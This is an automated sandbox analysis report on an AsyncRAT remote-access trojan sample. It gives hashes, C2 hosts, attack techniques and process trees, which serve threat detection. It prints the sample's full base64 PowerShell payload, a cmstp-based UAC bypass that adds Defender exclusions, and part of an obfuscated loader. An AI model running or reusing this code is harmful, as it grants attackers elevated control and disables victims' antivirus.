asyncrat | de47ee6f5098830b2569a1f0f889e021a9be2604093e3e157852060d307aa9f2

Analysis

max time kernel
143s
max time network
147s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
24-12-2024 19:31

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General

Target

upload.config.exe
Size

9.8MB
MD5

7a1eaa75ff1d1e83f564d0e5312a0930
SHA1

91988fcd3ffe2945d614f2141e0124f9ebcd6e01
SHA256

de47ee6f5098830b2569a1f0f889e021a9be2604093e3e157852060d307aa9f2
SHA512

b1d06ffc724e7a393387fb84900af0badf3a84bfe3ea0b2bed27d41f3114586e7b25b9661c2f23476b51b6cf9d5dcb36cf1d807c5441909b2a8315e4d40cc8c7
SSDEEP

49152:Plnb9f3/00iPuJXm6Os/CTu9VnAaZ+6AmX9mQXd0ujFFoyS+km9nmgMfq9+s6ewR:NnF00iPu

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:2101

jt8iyre.localto.net:55644

Mutex

AbAUwI3PK3e3

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral4/memory/2480-134-0x0000000006F40000-0x0000000006F52000-memory.dmp	family_asyncrat

Blocklisted process makes network request 8 IoCs

flow	pid	Process
37	2480	powershell.exe
38	2480	powershell.exe
41	2480	powershell.exe
42	2480	powershell.exe
44	2480	powershell.exe
45	2480	powershell.exe
46	2480	powershell.exe
47	2480	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2288	powershell.exe
2480	powershell.exe
1968	powershell.exe
4728	powershell.exe
3212	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2112	AsyncRAT.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3392	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
1968	powershell.exe
1968	powershell.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
2112	AsyncRAT.exe
3212	powershell.exe
3212	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2480	powershell.exe
2480	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeSystemEnvironmentPrivilege	4728	powershell.exe
Token: SeRemoteShutdownPrivilege	4728	powershell.exe
Token: SeUndockPrivilege	4728	powershell.exe
Token: SeManageVolumePrivilege	4728	powershell.exe
Token: 33	4728	powershell.exe
Token: 34	4728	powershell.exe
Token: 35	4728	powershell.exe
Token: 36	4728	powershell.exe
Token: SeDebugPrivilege	3392	taskkill.exe
Token: SeDebugPrivilege	3212	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeIncreaseQuotaPrivilege	2288	powershell.exe
Token: SeSecurityPrivilege	2288	powershell.exe
Token: SeTakeOwnershipPrivilege	2288	powershell.exe
Token: SeLoadDriverPrivilege	2288	powershell.exe
Token: SeSystemProfilePrivilege	2288	powershell.exe
Token: SeSystemtimePrivilege	2288	powershell.exe
Token: SeProfSingleProcessPrivilege	2288	powershell.exe
Token: SeIncBasePriorityPrivilege	2288	powershell.exe
Token: SeCreatePagefilePrivilege	2288	powershell.exe
Token: SeBackupPrivilege	2288	powershell.exe
Token: SeRestorePrivilege	2288	powershell.exe
Token: SeShutdownPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeSystemEnvironmentPrivilege	2288	powershell.exe
Token: SeRemoteShutdownPrivilege	2288	powershell.exe
Token: SeUndockPrivilege	2288	powershell.exe
Token: SeManageVolumePrivilege	2288	powershell.exe
Token: 33	2288	powershell.exe
Token: 34	2288	powershell.exe
Token: 35	2288	powershell.exe
Token: 36	2288	powershell.exe
Token: SeIncreaseQuotaPrivilege	2288	powershell.exe
Token: SeSecurityPrivilege	2288	powershell.exe
Token: SeTakeOwnershipPrivilege	2288	powershell.exe
Token: SeLoadDriverPrivilege	2288	powershell.exe
Token: SeSystemProfilePrivilege	2288	powershell.exe
Token: SeSystemtimePrivilege	2288	powershell.exe
Token: SeProfSingleProcessPrivilege	2288	powershell.exe
Token: SeIncBasePriorityPrivilege	2288	powershell.exe
Token: SeCreatePagefilePrivilege	2288	powershell.exe
Token: SeBackupPrivilege	2288	powershell.exe
Token: SeRestorePrivilege	2288	powershell.exe
Token: SeShutdownPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeSystemEnvironmentPrivilege	2288	powershell.exe
Token: SeRemoteShutdownPrivilege	2288	powershell.exe
Token: SeUndockPrivilege	2288	powershell.exe
Token: SeManageVolumePrivilege	2288	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2112	AsyncRAT.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2112	AsyncRAT.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 64 wrote to memory of 4848	64	upload.config.exe	82
PID 64 wrote to memory of 4848	64	upload.config.exe	82
PID 64 wrote to memory of 2344	64	upload.config.exe	83
PID 64 wrote to memory of 2344	64	upload.config.exe	83
PID 4848 wrote to memory of 2112	4848	cmd.exe	86
PID 4848 wrote to memory of 2112	4848	cmd.exe	86
PID 2344 wrote to memory of 2008	2344	cmd.exe	87
PID 2344 wrote to memory of 2008	2344	cmd.exe	87
PID 2008 wrote to memory of 1968	2008	WScript.exe	88
PID 2008 wrote to memory of 1968	2008	WScript.exe	88
PID 1968 wrote to memory of 1788	1968	powershell.exe	93
PID 1968 wrote to memory of 1788	1968	powershell.exe	93
PID 1788 wrote to memory of 3264	1788	csc.exe	94
PID 1788 wrote to memory of 3264	1788	csc.exe	94
PID 1968 wrote to memory of 5020	1968	powershell.exe	95
PID 1968 wrote to memory of 5020	1968	powershell.exe	95
PID 2008 wrote to memory of 2824	2008	WScript.exe	111
PID 2008 wrote to memory of 2824	2008	WScript.exe	111
PID 2824 wrote to memory of 3212	2824	cmd.exe	113
PID 2824 wrote to memory of 3212	2824	cmd.exe	113
PID 2824 wrote to memory of 3212	2824	cmd.exe	113
PID 3212 wrote to memory of 2288	3212	powershell.exe	114
PID 3212 wrote to memory of 2288	3212	powershell.exe	114
PID 3212 wrote to memory of 2288	3212	powershell.exe	114
PID 3212 wrote to memory of 3168	3212	powershell.exe	117
PID 3212 wrote to memory of 3168	3212	powershell.exe	117
PID 3212 wrote to memory of 3168	3212	powershell.exe	117
PID 3168 wrote to memory of 432	3168	WScript.exe	118
PID 3168 wrote to memory of 432	3168	WScript.exe	118
PID 3168 wrote to memory of 432	3168	WScript.exe	118
PID 432 wrote to memory of 2480	432	cmd.exe	120
PID 432 wrote to memory of 2480	432	cmd.exe	120
PID 432 wrote to memory of 2480	432	cmd.exe	120

C:\Users\Admin\AppData\Local\Temp\upload.config.exe
"C:\Users\Admin\AppData\Local\Temp\upload.config.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:64
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start AsyncRAT.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Users\Admin\AppData\Local\Temp\AsyncRAT.exe
    AsyncRAT.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2112
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start 7254_output.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7254_output.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qbgodzqo\qbgodzqo.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1788
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D02.tmp" "c:\Users\Admin\AppData\Local\Temp\qbgodzqo\CSC30C4A6D8BB26470C96377BACD4F658DF.TMP"
        6⤵
        
        PID:3264
    - - C:\windows\system32\cmstp.exe
        
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\43tgsdvx.inf
        5⤵
        
        PID:5020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2824
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; 